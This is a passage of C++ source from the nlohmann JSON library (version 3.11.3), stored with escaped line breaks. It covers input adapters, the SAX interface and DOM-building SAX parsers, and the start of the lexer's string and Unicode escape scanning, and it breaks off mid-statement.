container_input_adapter_factory_impl::container_input_adapter_factory<ContainerType>::create(container);\n    }\n\n#ifndef JSON_NO_IO\n    // Special cases with fast paths\n    inline file_input_adapter input_adapter(std::FILE* file)\n    {\n        return file_input_adapter(file);\n    }\n\n    inline input_stream_adapter input_adapter(std::istream& stream)\n    {\n        return input_stream_adapter(stream);\n    }\n\n    inline input_stream_adapter input_adapter(std::istream&& stream)\n    {\n        return input_stream_adapter(stream);\n    }\n#endif  // JSON_NO_IO\n\n    using contiguous_bytes_input_adapter = decltype(input_adapter(std::declval<const char*>(), std::declval<const char*>()));\n\n    // Null-delimited strings, and the like.\n    template < typename CharT,\n        typename std::enable_if <\n        std::is_pointer<CharT>::value &&\n        !std::is_array<CharT>::value&&\n        std::is_integral<typename std::remove_pointer<CharT>::type>::value &&\n        sizeof(typename std::remove_pointer<CharT>::type) == 1,\n        int >::type = 0 >\n    contiguous_bytes_input_adapter input_adapter(CharT b)\n    {\n        auto length = std::strlen(reinterpret_cast<const char*>(b));\n        const auto* ptr = reinterpret_cast<const char*>(b);\n        return input_adapter(ptr, ptr + length);\n    }\n\n    template<typename T, std::size_t N>\n    auto input_adapter(T(&array)[N]) -> decltype(input_adapter(array, array + N)) // NOLINT(cppcoreguidelines-avoid-c-arrays,hicpp-avoid-c-arrays,modernize-avoid-c-arrays)\n    {\n        return input_adapter(array, array + N);\n    }\n\n    // This class only handles inputs of input_buffer_adapter type.\n    // It's required so that expressions like {ptr, len} can be implicitly cast\n    // to the correct adapter.\n    class span_input_adapter\n    {\n    public:\n        template < typename CharT,\n            typename std::enable_if <\n            std::is_pointer<CharT>::value&&\n            std::is_integral<typename std::remove_pointer<CharT>::type>::value &&\n            sizeof(typename std::remove_pointer<CharT>::type) == 1,\n            int >::type = 0 >\n        span_input_adapter(CharT b, std::size_t l)\n            : ia(reinterpret_cast<const char*>(b), reinterpret_cast<const char*>(b) + l) {\n        }\n\n        template<class IteratorType,\n            typename std::enable_if<\n            std::is_same<typename iterator_traits<IteratorType>::iterator_category, std::random_access_iterator_tag>::value,\n            int>::type = 0>\n        span_input_adapter(IteratorType first, IteratorType last)\n            : ia(input_adapter(first, last)) {\n        }\n\n        contiguous_bytes_input_adapter&& get()\n        {\n            return std::move(ia); // NOLINT(hicpp-move-const-arg,performance-move-const-arg)\n        }\n\n    private:\n        contiguous_bytes_input_adapter ia;\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/input/json_sax.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <cstddef>\n#include <string> // string\n#include <utility> // move\n#include <vector> // vector\n\n// #include <nlohmann/detail/exceptions.hpp>\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/string_concat.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\n\n/*!\n@brief SAX interface\n\nThis class describes the SAX interface used by @ref nlohmann::json::sax_parse.\nEach function is called in different situations while the input is parsed. The\nboolean return value informs the parser whether to continue processing the\ninput.\n*/\ntemplate<typename BasicJsonType>\nstruct json_sax\n{\n    using number_integer_t = typename BasicJsonType::number_integer_t;\n    using number_unsigned_t = typename BasicJsonType::number_unsigned_t;\n    using number_float_t = typename BasicJsonType::number_float_t;\n    using string_t = typename BasicJsonType::string_t;\n    using binary_t = typename BasicJsonType::binary_t;\n\n    /*!\n    @brief a null value was read\n    @return whether parsing should proceed\n    */\n    virtual bool null() = 0;\n\n    /*!\n    @brief a boolean value was read\n    @param[in] val  boolean value\n    @return whether parsing should proceed\n    */\n    virtual bool boolean(bool val) = 0;\n\n    /*!\n    @brief an integer number was read\n    @param[in] val  integer value\n    @return whether parsing should proceed\n    */\n    virtual bool number_integer(number_integer_t val) = 0;\n\n    /*!\n    @brief an unsigned integer number was read\n    @param[in] val  unsigned integer value\n    @return whether parsing should proceed\n    */\n    virtual bool number_unsigned(number_unsigned_t val) = 0;\n\n    /*!\n    @brief a floating-point number was read\n    @param[in] val  floating-point value\n    @param[in] s    raw token value\n    @return whether parsing should proceed\n    */\n    virtual bool number_float(number_float_t val, const string_t& s) = 0;\n\n    /*!\n    @brief a string value was read\n    @param[in] val  string value\n    @return whether parsing should proceed\n    @note It is safe to move the passed string value.\n    */\n    virtual bool string(string_t& val) = 0;\n\n    /*!\n    @brief a binary value was read\n    @param[in] val  binary value\n    @return whether parsing should proceed\n    @note It is safe to move the passed binary value.\n    */\n    virtual bool binary(binary_t& val) = 0;\n\n    /*!\n    @brief the beginning of an object was read\n    @param[in] elements  number of object elements or -1 if unknown\n    @return whether parsing should proceed\n    @note binary formats may report the number of elements\n    */\n    virtual bool start_object(std::size_t elements) = 0;\n\n    /*!\n    @brief an object key was read\n    @param[in] val  object key\n    @return whether parsing should proceed\n    @note It is safe to move the passed string.\n    */\n    virtual bool key(string_t& val) = 0;\n\n    /*!\n    @brief the end of an object was read\n    @return whether parsing should proceed\n    */\n    virtual bool end_object() = 0;\n\n    /*!\n    @brief the beginning of an array was read\n    @param[in] elements  number of array elements or -1 if unknown\n    @return whether parsing should proceed\n    @note binary formats may report the number of elements\n    */\n    virtual bool start_array(std::size_t elements) = 0;\n\n    /*!\n    @brief the end of an array was read\n    @return whether parsing should proceed\n    */\n    virtual bool end_array() = 0;\n\n    /*!\n    @brief a parse error occurred\n    @param[in] position    the position in the input where the error occurs\n    @param[in] last_token  the last read token\n    @param[in] ex          an exception object describing the error\n    @return whether parsing should proceed (must return false)\n    */\n    virtual bool parse_error(std::size_t position,\n        const std::string& last_token,\n        const detail::exception& ex) = 0;\n\n    json_sax() = default;\n    json_sax(const json_sax&) = default;\n    json_sax(json_sax&&) noexcept = default;\n    json_sax& operator=(const json_sax&) = default;\n    json_sax& operator=(json_sax&&) noexcept = default;\n    virtual ~json_sax() = default;\n};\n\nnamespace detail\n{\n    /*!\n    @brief SAX implementation to create a JSON value from SAX events\n\n    This class implements the @ref json_sax interface and processes the SAX events\n    to create a JSON value which makes it basically a DOM parser. The structure or\n    hierarchy of the JSON value is managed by the stack `ref_stack` which contains\n    a pointer to the respective array or object for each recursion depth.\n\n    After successful parsing, the value that is passed by reference to the\n    constructor contains the parsed value.\n\n    @tparam BasicJsonType  the JSON type\n    */\n    template<typename BasicJsonType>\n    class json_sax_dom_parser\n    {\n    public:\n        using number_integer_t = typename BasicJsonType::number_integer_t;\n        using number_unsigned_t = typename BasicJsonType::number_unsigned_t;\n        using number_float_t = typename BasicJsonType::number_float_t;\n        using string_t = typename BasicJsonType::string_t;\n        using binary_t = typename BasicJsonType::binary_t;\n\n        /*!\n        @param[in,out] r  reference to a JSON value that is manipulated while\n                           parsing\n        @param[in] allow_exceptions_  whether parse errors yield exceptions\n        */\n        explicit json_sax_dom_parser(BasicJsonType& r, const bool allow_exceptions_ = true)\n            : root(r), allow_exceptions(allow_exceptions_)\n        {\n        }\n\n        // make class move-only\n        json_sax_dom_parser(const json_sax_dom_parser&) = delete;\n        json_sax_dom_parser(json_sax_dom_parser&&) = default; // NOLINT(hicpp-noexcept-move,performance-noexcept-move-constructor)\n        json_sax_dom_parser& operator=(const json_sax_dom_parser&) = delete;\n        json_sax_dom_parser& operator=(json_sax_dom_parser&&) = default; // NOLINT(hicpp-noexcept-move,performance-noexcept-move-constructor)\n        ~json_sax_dom_parser() = default;\n\n        bool null()\n        {\n            handle_value(nullptr);\n            return true;\n        }\n\n        bool boolean(bool val)\n        {\n            handle_value(val);\n            return true;\n        }\n\n        bool number_integer(number_integer_t val)\n        {\n            handle_value(val);\n            return true;\n        }\n\n        bool number_unsigned(number_unsigned_t val)\n        {\n            handle_value(val);\n            return true;\n        }\n\n        bool number_float(number_float_t val, const string_t& /*unused*/)\n        {\n            handle_value(val);\n            return true;\n        }\n\n        bool string(string_t& val)\n        {\n            handle_value(val);\n            return true;\n        }\n\n        bool binary(binary_t& val)\n        {\n            handle_value(std::move(val));\n            return true;\n        }\n\n        bool start_object(std::size_t len)\n        {\n            ref_stack.push_back(handle_value(BasicJsonType::value_t::object));\n\n            if (JSON_HEDLEY_UNLIKELY(len != static_cast<std::size_t>(-1) && len > ref_stack.back()->max_size()))\n            {\n                JSON_THROW(out_of_range::create(408, concat(\"excessive object size: \", std::to_string(len)), ref_stack.back()));\n            }\n\n            return true;\n        }\n\n        bool key(string_t& val)\n        {\n            JSON_ASSERT(!ref_stack.empty());\n            JSON_ASSERT(ref_stack.back()->is_object());\n\n            // add null at given key and store the reference for later\n            object_element = &(ref_stack.back()->m_data.m_value.object->operator[](val));\n            return true;\n        }\n\n        bool end_object()\n        {\n            JSON_ASSERT(!ref_stack.empty());\n            JSON_ASSERT(ref_stack.back()->is_object());\n\n            ref_stack.back()->set_parents();\n            ref_stack.pop_back();\n            return true;\n        }\n\n        bool start_array(std::size_t len)\n        {\n            ref_stack.push_back(handle_value(BasicJsonType::value_t::array));\n\n            if (JSON_HEDLEY_UNLIKELY(len != static_cast<std::size_t>(-1) && len > ref_stack.back()->max_size()))\n            {\n                JSON_THROW(out_of_range::create(408, concat(\"excessive array size: \", std::to_string(len)), ref_stack.back()));\n            }\n\n            return true;\n        }\n\n        bool end_array()\n        {\n            JSON_ASSERT(!ref_stack.empty());\n            JSON_ASSERT(ref_stack.back()->is_array());\n\n            ref_stack.back()->set_parents();\n            ref_stack.pop_back();\n            return true;\n        }\n\n        template<class Exception>\n        bool parse_error(std::size_t /*unused*/, const std::string& /*unused*/,\n            const Exception& ex)\n        {\n            errored = true;\n            static_cast<void>(ex);\n            if (allow_exceptions)\n            {\n                JSON_THROW(ex);\n            }\n            return false;\n        }\n\n        constexpr bool is_errored() const\n        {\n            return errored;\n        }\n\n    private:\n        /*!\n        @invariant If the ref stack is empty, then the passed value will be the new\n                   root.\n        @invariant If the ref stack contains a value, then it is an array or an\n                   object to which we can add elements\n        */\n        template<typename Value>\n        JSON_HEDLEY_RETURNS_NON_NULL\n            BasicJsonType* handle_value(Value&& v)\n        {\n            if (ref_stack.empty())\n            {\n                root = BasicJsonType(std::forward<Value>(v));\n                return &root;\n            }\n\n            JSON_ASSERT(ref_stack.back()->is_array() || ref_stack.back()->is_object());\n\n            if (ref_stack.back()->is_array())\n            {\n                ref_stack.back()->m_data.m_value.array->emplace_back(std::forward<Value>(v));\n                return &(ref_stack.back()->m_data.m_value.array->back());\n            }\n\n            JSON_ASSERT(ref_stack.back()->is_object());\n            JSON_ASSERT(object_element);\n            *object_element = BasicJsonType(std::forward<Value>(v));\n            return object_element;\n        }\n\n        /// the parsed JSON value\n        BasicJsonType& root;\n        /// stack to model hierarchy of values\n        std::vector<BasicJsonType*> ref_stack{};\n        /// helper to hold the reference for the next object element\n        BasicJsonType* object_element = nullptr;\n        /// whether a syntax error occurred\n        bool errored = false;\n        /// whether to throw exceptions in case of errors\n        const bool allow_exceptions = true;\n    };\n\n    template<typename BasicJsonType>\n    class json_sax_dom_callback_parser\n    {\n    public:\n        using number_integer_t = typename BasicJsonType::number_integer_t;\n        using number_unsigned_t = typename BasicJsonType::number_unsigned_t;\n        using number_float_t = typename BasicJsonType::number_float_t;\n        using string_t = typename BasicJsonType::string_t;\n        using binary_t = typename BasicJsonType::binary_t;\n        using parser_callback_t = typename BasicJsonType::parser_callback_t;\n        using parse_event_t = typename BasicJsonType::parse_event_t;\n\n        json_sax_dom_callback_parser(BasicJsonType& r,\n            const parser_callback_t cb,\n            const bool allow_exceptions_ = true)\n            : root(r), callback(cb), allow_exceptions(allow_exceptions_)\n        {\n            keep_stack.push_back(true);\n        }\n\n        // make class move-only\n        json_sax_dom_callback_parser(const json_sax_dom_callback_parser&) = delete;\n        json_sax_dom_callback_parser(json_sax_dom_callback_parser&&) = default; // NOLINT(hicpp-noexcept-move,performance-noexcept-move-constructor)\n        json_sax_dom_callback_parser& operator=(const json_sax_dom_callback_parser&) = delete;\n        json_sax_dom_callback_parser& operator=(json_sax_dom_callback_parser&&) = default; // NOLINT(hicpp-noexcept-move,performance-noexcept-move-constructor)\n        ~json_sax_dom_callback_parser() = default;\n\n        bool null()\n        {\n            handle_value(nullptr);\n            return true;\n        }\n\n        bool boolean(bool val)\n        {\n            handle_value(val);\n            return true;\n        }\n\n        bool number_integer(number_integer_t val)\n        {\n            handle_value(val);\n            return true;\n        }\n\n        bool number_unsigned(number_unsigned_t val)\n        {\n            handle_value(val);\n            return true;\n        }\n\n        bool number_float(number_float_t val, const string_t& /*unused*/)\n        {\n            handle_value(val);\n            return true;\n        }\n\n        bool string(string_t& val)\n        {\n            handle_value(val);\n            return true;\n        }\n\n        bool binary(binary_t& val)\n        {\n            handle_value(std::move(val));\n            return true;\n        }\n\n        bool start_object(std::size_t len)\n        {\n            // check callback for object start\n            const bool keep = callback(static_cast<int>(ref_stack.size()), parse_event_t::object_start, discarded);\n            keep_stack.push_back(keep);\n\n            auto val = handle_value(BasicJsonType::value_t::object, true);\n            ref_stack.push_back(val.second);\n\n            // check object limit\n            if (ref_stack.back() && JSON_HEDLEY_UNLIKELY(len != static_cast<std::size_t>(-1) && len > ref_stack.back()->max_size()))\n            {\n                JSON_THROW(out_of_range::create(408, concat(\"excessive object size: \", std::to_string(len)), ref_stack.back()));\n            }\n\n            return true;\n        }\n\n        bool key(string_t& val)\n        {\n            BasicJsonType k = BasicJsonType(val);\n\n            // check callback for key\n            const bool keep = callback(static_cast<int>(ref_stack.size()), parse_event_t::key, k);\n            key_keep_stack.push_back(keep);\n\n            // add discarded value at given key and store the reference for later\n            if (keep && ref_stack.back())\n            {\n                object_element = &(ref_stack.back()->m_data.m_value.object->operator[](val) = discarded);\n            }\n\n            return true;\n        }\n\n        bool end_object()\n        {\n            if (ref_stack.back())\n            {\n                if (!callback(static_cast<int>(ref_stack.size()) - 1, parse_event_t::object_end, *ref_stack.back()))\n                {\n                    // discard object\n                    *ref_stack.back() = discarded;\n                }\n                else\n                {\n                    ref_stack.back()->set_parents();\n                }\n            }\n\n            JSON_ASSERT(!ref_stack.empty());\n            JSON_ASSERT(!keep_stack.empty());\n            ref_stack.pop_back();\n            keep_stack.pop_back();\n\n            if (!ref_stack.empty() && ref_stack.back() && ref_stack.back()->is_structured())\n            {\n                // remove discarded value\n                for (auto it = ref_stack.back()->begin(); it != ref_stack.back()->end(); ++it)\n                {\n                    if (it->is_discarded())\n                    {\n                        ref_stack.back()->erase(it);\n                        break;\n                    }\n                }\n            }\n\n            return true;\n        }\n\n        bool start_array(std::size_t len)\n        {\n            const bool keep = callback(static_cast<int>(ref_stack.size()), parse_event_t::array_start, discarded);\n            keep_stack.push_back(keep);\n\n            auto val = handle_value(BasicJsonType::value_t::array, true);\n            ref_stack.push_back(val.second);\n\n            // check array limit\n            if (ref_stack.back() && JSON_HEDLEY_UNLIKELY(len != static_cast<std::size_t>(-1) && len > ref_stack.back()->max_size()))\n            {\n                JSON_THROW(out_of_range::create(408, concat(\"excessive array size: \", std::to_string(len)), ref_stack.back()));\n            }\n\n            return true;\n        }\n\n        bool end_array()\n        {\n            bool keep = true;\n\n            if (ref_stack.back())\n            {\n                keep = callback(static_cast<int>(ref_stack.size()) - 1, parse_event_t::array_end, *ref_stack.back());\n                if (keep)\n                {\n                    ref_stack.back()->set_parents();\n                }\n                else\n                {\n                    // discard array\n                    *ref_stack.back() = discarded;\n                }\n            }\n\n            JSON_ASSERT(!ref_stack.empty());\n            JSON_ASSERT(!keep_stack.empty());\n            ref_stack.pop_back();\n            keep_stack.pop_back();\n\n            // remove discarded value\n            if (!keep && !ref_stack.empty() && ref_stack.back()->is_array())\n            {\n                ref_stack.back()->m_data.m_value.array->pop_back();\n            }\n\n            return true;\n        }\n\n        template<class Exception>\n        bool parse_error(std::size_t /*unused*/, const std::string& /*unused*/,\n            const Exception& ex)\n        {\n            errored = true;\n            static_cast<void>(ex);\n            if (allow_exceptions)\n            {\n                JSON_THROW(ex);\n            }\n            return false;\n        }\n\n        constexpr bool is_errored() const\n        {\n            return errored;\n        }\n\n    private:\n        /*!\n        @param[in] v  value to add to the JSON value we build during parsing\n        @param[in] skip_callback  whether we should skip calling the callback\n                   function; this is required after start_array() and\n                   start_object() SAX events, because otherwise we would call the\n                   callback function with an empty array or object, respectively.\n\n        @invariant If the ref stack is empty, then the passed value will be the new\n                   root.\n        @invariant If the ref stack contains a value, then it is an array or an\n                   object to which we can add elements\n\n        @return pair of boolean (whether value should be kept) and pointer (to the\n                passed value in the ref_stack hierarchy; nullptr if not kept)\n        */\n        template<typename Value>\n        std::pair<bool, BasicJsonType*> handle_value(Value&& v, const bool skip_callback = false)\n        {\n            JSON_ASSERT(!keep_stack.empty());\n\n            // do not handle this value if we know it would be added to a discarded\n            // container\n            if (!keep_stack.back())\n            {\n                return { false, nullptr };\n            }\n\n            // create value\n            auto value = BasicJsonType(std::forward<Value>(v));\n\n            // check callback\n            const bool keep = skip_callback || callback(static_cast<int>(ref_stack.size()), parse_event_t::value, value);\n\n            // do not handle this value if we just learnt it shall be discarded\n            if (!keep)\n            {\n                return { false, nullptr };\n            }\n\n            if (ref_stack.empty())\n            {\n                root = std::move(value);\n                return { true, &root };\n            }\n\n            // skip this value if we already decided to skip the parent\n            // (https://github.com/nlohmann/json/issues/971#issuecomment-413678360)\n            if (!ref_stack.back())\n            {\n                return { false, nullptr };\n            }\n\n            // we now only expect arrays and objects\n            JSON_ASSERT(ref_stack.back()->is_array() || ref_stack.back()->is_object());\n\n            // array\n            if (ref_stack.back()->is_array())\n            {\n                ref_stack.back()->m_data.m_value.array->emplace_back(std::move(value));\n                return { true, &(ref_stack.back()->m_data.m_value.array->back()) };\n            }\n\n            // object\n            JSON_ASSERT(ref_stack.back()->is_object());\n            // check if we should store an element for the current key\n            JSON_ASSERT(!key_keep_stack.empty());\n            const bool store_element = key_keep_stack.back();\n            key_keep_stack.pop_back();\n\n            if (!store_element)\n            {\n                return { false, nullptr };\n            }\n\n            JSON_ASSERT(object_element);\n            *object_element = std::move(value);\n            return { true, object_element };\n        }\n\n        /// the parsed JSON value\n        BasicJsonType& root;\n        /// stack to model hierarchy of values\n        std::vector<BasicJsonType*> ref_stack{};\n        /// stack to manage which values to keep\n        std::vector<bool> keep_stack{};\n        /// stack to manage which object keys to keep\n        std::vector<bool> key_keep_stack{};\n        /// helper to hold the reference for the next object element\n        BasicJsonType* object_element = nullptr;\n        /// whether a syntax error occurred\n        bool errored = false;\n        /// callback function\n        const parser_callback_t callback = nullptr;\n        /// whether to throw exceptions in case of errors\n        const bool allow_exceptions = true;\n        /// a discarded value for the callback\n        BasicJsonType discarded = BasicJsonType::value_t::discarded;\n    };\n\n    template<typename BasicJsonType>\n    class json_sax_acceptor\n    {\n    public:\n        using number_integer_t = typename BasicJsonType::number_integer_t;\n        using number_unsigned_t = typename BasicJsonType::number_unsigned_t;\n        using number_float_t = typename BasicJsonType::number_float_t;\n        using string_t = typename BasicJsonType::string_t;\n        using binary_t = typename BasicJsonType::binary_t;\n\n        bool null()\n        {\n            return true;\n        }\n\n        bool boolean(bool /*unused*/)\n        {\n            return true;\n        }\n\n        bool number_integer(number_integer_t /*unused*/)\n        {\n            return true;\n        }\n\n        bool number_unsigned(number_unsigned_t /*unused*/)\n        {\n            return true;\n        }\n\n        bool number_float(number_float_t /*unused*/, const string_t& /*unused*/)\n        {\n            return true;\n        }\n\n        bool string(string_t& /*unused*/)\n        {\n            return true;\n        }\n\n        bool binary(binary_t& /*unused*/)\n        {\n            return true;\n        }\n\n        bool start_object(std::size_t /*unused*/ = static_cast<std::size_t>(-1))\n        {\n            return true;\n        }\n\n        bool key(string_t& /*unused*/)\n        {\n            return true;\n        }\n\n        bool end_object()\n        {\n            return true;\n        }\n\n        bool start_array(std::size_t /*unused*/ = static_cast<std::size_t>(-1))\n        {\n            return true;\n        }\n\n        bool end_array()\n        {\n            return true;\n        }\n\n        bool parse_error(std::size_t /*unused*/, const std::string& /*unused*/, const detail::exception& /*unused*/)\n        {\n            return false;\n        }\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/input/lexer.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <array> // array\n#include <clocale> // localeconv\n#include <cstddef> // size_t\n#include <cstdio> // snprintf\n#include <cstdlib> // strtof, strtod, strtold, strtoll, strtoull\n#include <initializer_list> // initializer_list\n#include <string> // char_traits, string\n#include <utility> // move\n#include <vector> // vector\n\n// #include <nlohmann/detail/input/input_adapters.hpp>\n\n// #include <nlohmann/detail/input/position_t.hpp>\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/meta/type_traits.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    ///////////\n    // lexer //\n    ///////////\n\n    template<typename BasicJsonType>\n    class lexer_base\n    {\n    public:\n        /// token types for the parser\n        enum class token_type\n        {\n            uninitialized,    ///< indicating the scanner is uninitialized\n            literal_true,     ///< the `true` literal\n            literal_false,    ///< the `false` literal\n            literal_null,     ///< the `null` literal\n            value_string,     ///< a string -- use get_string() for actual value\n            value_unsigned,   ///< an unsigned integer -- use get_number_unsigned() for actual value\n            value_integer,    ///< a signed integer -- use get_number_integer() for actual value\n            value_float,      ///< an floating point number -- use get_number_float() for actual value\n            begin_array,      ///< the character for array begin `[`\n            begin_object,     ///< the character for object begin `{`\n            end_array,        ///< the character for array end `]`\n            end_object,       ///< the character for object end `}`\n            name_separator,   ///< the name separator `:`\n            value_separator,  ///< the value separator `,`\n            parse_error,      ///< indicating a parse error\n            end_of_input,     ///< indicating the end of the input buffer\n            literal_or_value  ///< a literal or the begin of a value (only for diagnostics)\n        };\n\n        /// return name of values of type token_type (only used for errors)\n        JSON_HEDLEY_RETURNS_NON_NULL\n            JSON_HEDLEY_CONST\n            static const char* token_type_name(const token_type t) noexcept\n        {\n            switch (t)\n            {\n            case token_type::uninitialized:\n                return \"<uninitialized>\";\n            case token_type::literal_true:\n                return \"true literal\";\n            case token_type::literal_false:\n                return \"false literal\";\n            case token_type::literal_null:\n                return \"null literal\";\n            case token_type::value_string:\n                return \"string literal\";\n            case token_type::value_unsigned:\n            case token_type::value_integer:\n            case token_type::value_float:\n                return \"number literal\";\n            case token_type::begin_array:\n                return \"'['\";\n            case token_type::begin_object:\n                return \"'{'\";\n            case token_type::end_array:\n                return \"']'\";\n            case token_type::end_object:\n                return \"'}'\";\n            case token_type::name_separator:\n                return \"':'\";\n            case token_type::value_separator:\n                return \"','\";\n            case token_type::parse_error:\n                return \"<parse error>\";\n            case token_type::end_of_input:\n                return \"end of input\";\n            case token_type::literal_or_value:\n                return \"'[', '{', or a literal\";\n                // LCOV_EXCL_START\n            default: // catch non-enum values\n                return \"unknown token\";\n                // LCOV_EXCL_STOP\n            }\n        }\n    };\n    /*!\n    @brief lexical analysis\n\n    This class organizes the lexical analysis during JSON deserialization.\n    */\n    template<typename BasicJsonType, typename InputAdapterType>\n    class lexer : public lexer_base<BasicJsonType>\n    {\n        using number_integer_t = typename BasicJsonType::number_integer_t;\n        using number_unsigned_t = typename BasicJsonType::number_unsigned_t;\n        using number_float_t = typename BasicJsonType::number_float_t;\n        using string_t = typename BasicJsonType::string_t;\n        using char_type = typename InputAdapterType::char_type;\n        using char_int_type = typename char_traits<char_type>::int_type;\n\n    public:\n        using token_type = typename lexer_base<BasicJsonType>::token_type;\n\n        explicit lexer(InputAdapterType&& adapter, bool ignore_comments_ = false) noexcept\n            : ia(std::move(adapter))\n            , ignore_comments(ignore_comments_)\n            , decimal_point_char(static_cast<char_int_type>(get_decimal_point()))\n        {\n        }\n\n        // delete because of pointer members\n        lexer(const lexer&) = delete;\n        lexer(lexer&&) = default; // NOLINT(hicpp-noexcept-move,performance-noexcept-move-constructor)\n        lexer& operator=(lexer&) = delete;\n        lexer& operator=(lexer&&) = default; // NOLINT(hicpp-noexcept-move,performance-noexcept-move-constructor)\n        ~lexer() = default;\n\n    private:\n        /////////////////////\n        // locales\n        /////////////////////\n\n        /// return the locale-dependent decimal point\n        JSON_HEDLEY_PURE\n            static char get_decimal_point() noexcept\n        {\n            const auto* loc = localeconv();\n            JSON_ASSERT(loc != nullptr);\n            return (loc->decimal_point == nullptr) ? '.' : *(loc->decimal_point);\n        }\n\n        /////////////////////\n        // scan functions\n        /////////////////////\n\n        /*!\n        @brief get codepoint from 4 hex characters following `\\u`\n\n        For input \"\\u c1 c2 c3 c4\" the codepoint is:\n          (c1 * 0x1000) + (c2 * 0x0100) + (c3 * 0x0010) + c4\n        = (c1 << 12) + (c2 << 8) + (c3 << 4) + (c4 << 0)\n\n        Furthermore, the possible characters '0'..'9', 'A'..'F', and 'a'..'f'\n        must be converted to the integers 0x0..0x9, 0xA..0xF, 0xA..0xF, resp. The\n        conversion is done by subtracting the offset (0x30, 0x37, and 0x57)\n        between the ASCII value of the character and the desired integer value.\n\n        @return codepoint (0x0000..0xFFFF) or -1 in case of an error (e.g. EOF or\n                non-hex character)\n        */\n        int get_codepoint()\n        {\n            // this function only makes sense after reading `\\u`\n            JSON_ASSERT(current == 'u');\n            int codepoint = 0;\n\n            const auto factors = { 12u, 8u, 4u, 0u };\n            for (const auto factor : factors)\n            {\n                get();\n\n                if (current >= '0' && current <= '9')\n                {\n                    codepoint += static_cast<int>((static_cast<unsigned int>(current) - 0x30u) << factor);\n                }\n                else if (current >= 'A' && current <= 'F')\n                {\n                    codepoint += static_cast<int>((static_cast<unsigned int>(current) - 0x37u) << factor);\n                }\n                else if (current >= 'a' && current <= 'f')\n                {\n                    codepoint += static_cast<int>((static_cast<unsigned int>(current) - 0x57u) << factor);\n                }\n                else\n                {\n                    return -1;\n                }\n            }\n\n            JSON_ASSERT(0x0000 <= codepoint && codepoint <= 0xFFFF);\n            return codepoint;\n        }\n\n        /*!\n        @brief check if the next byte(s) are inside a given range\n\n        Adds the current byte and, for each passed range, reads a new byte and\n        checks if it is inside the range. If a violation was detected, set up an\n        error message and return false. Otherwise, return true.\n\n        @param[in] ranges  list of integers; interpreted as list of pairs of\n                           inclusive lower and upper bound, respectively\n\n        @pre The passed list @a ranges must have 2, 4, or 6 elements; that is,\n             1, 2, or 3 pairs. This precondition is enforced by an assertion.\n\n        @return true if and only if no range violation was detected\n        */\n        bool next_byte_in_range(std::initializer_list<char_int_type> ranges)\n        {\n            JSON_ASSERT(ranges.size() == 2 || ranges.size() == 4 || ranges.size() == 6);\n            add(current);\n\n            for (auto range = ranges.begin(); range != ranges.end(); ++range)\n            {\n                get();\n                if (JSON_HEDLEY_LIKELY(*range <= current && current <= *(++range))) // NOLINT(bugprone-inc-dec-in-conditions)\n                {\n                    add(current);\n                }\n                else\n                {\n                    error_message = \"invalid string: ill-formed UTF-8 byte\";\n                    return false;\n                }\n            }\n\n            return true;\n        }\n\n        /*!\n        @brief scan a string literal\n\n        This function scans a string according to Sect. 7 of RFC 8259. While\n        scanning, bytes are escaped and copied into buffer token_buffer. Then the\n        function returns successfully, token_buffer is *not* null-terminated (as it\n        may contain \\0 bytes), and token_buffer.size() is the number of bytes in the\n        string.\n\n        @return token_type::value_string if string could be successfully scanned,\n                token_type::parse_error otherwise\n\n        @note In case of errors, variable error_message contains a textual\n              description.\n        */\n        token_type scan_string()\n        {\n            // reset token_buffer (ignore opening quote)\n            reset();\n\n            // we entered the function by reading an open quote\n            JSON_ASSERT(current == '\\\"');\n\n            while (true)\n            {\n                // get next character\n                switch (get())\n                {\n                    // end of file while parsing string\n                case char_traits<char_type>::eof():\n                {\n                    error_message = \"invalid string: missing closing quote\";\n                    return token_type::parse_error;\n                }\n\n                // closing quote\n                case '\\\"':\n                {\n                    return token_type::value_string;\n                }\n\n                // escapes\n                case '\\\\':\n                {\n                    switch (get())\n                    {\n                        // quotation mark\n                    case '\\\"':\n                        add('\\\"');\n                        break;\n                        // reverse solidus\n                    case '\\\\':\n                        add('\\\\');\n                        break;\n                        // solidus\n                    case '/':\n                        add('/');\n                        break;\n                        // backspace\n                    case 'b':\n                        add('\\b');\n                        break;\n                        // form feed\n                    case 'f':\n                        add('\\f');\n                        break;\n                        // line feed\n                    case 'n':\n                        add('\\n');\n                        break;\n                        // carriage return\n                    case 'r':\n                        add('\\r');\n                        break;\n                        // tab\n                    case 't':\n                        add('\\t');\n                        break;\n\n                        // unicode escapes\n                    case 'u':\n                    {\n                        const int codepoint1 = get_codepoint();\n                        int codepoint = codepoint1; // start with codepoint1\n\n                        if (JSON_HEDLEY_UNLIKELY(codepoint1 == -1))\n                        {\n                            error_message = \"invalid string: '\\\\u' must be followed by 4 hex digits\";\n                            return token_type::parse_error;\n                        }\n\n                        // check if code point is a high surrogate\n                        if (0xD800 <= codepoint1 && codepoint1 <= 0xDBFF)\n                        {\n                            // expect next \\uxxxx entry\n                            if (JSON_HEDLEY_LIKELY(get() == '\\\\' && get() == 'u'))\n                            {\n                                const int codepoint2 = get_codepoint();\n\n                                if (JSON_HEDLEY_UNLIKELY(codepoint2 == -1))\n                                {\n                                    error_message = \"invalid string: '\\\\u' must be followed by 4 hex digits\";\n                                    return token_type::parse_error;\n                                }\n\n                                // check if codepoint2 is a low surrogate\n                                if (JSON_HEDLEY_LIKELY(0xDC00 <= codepoint2 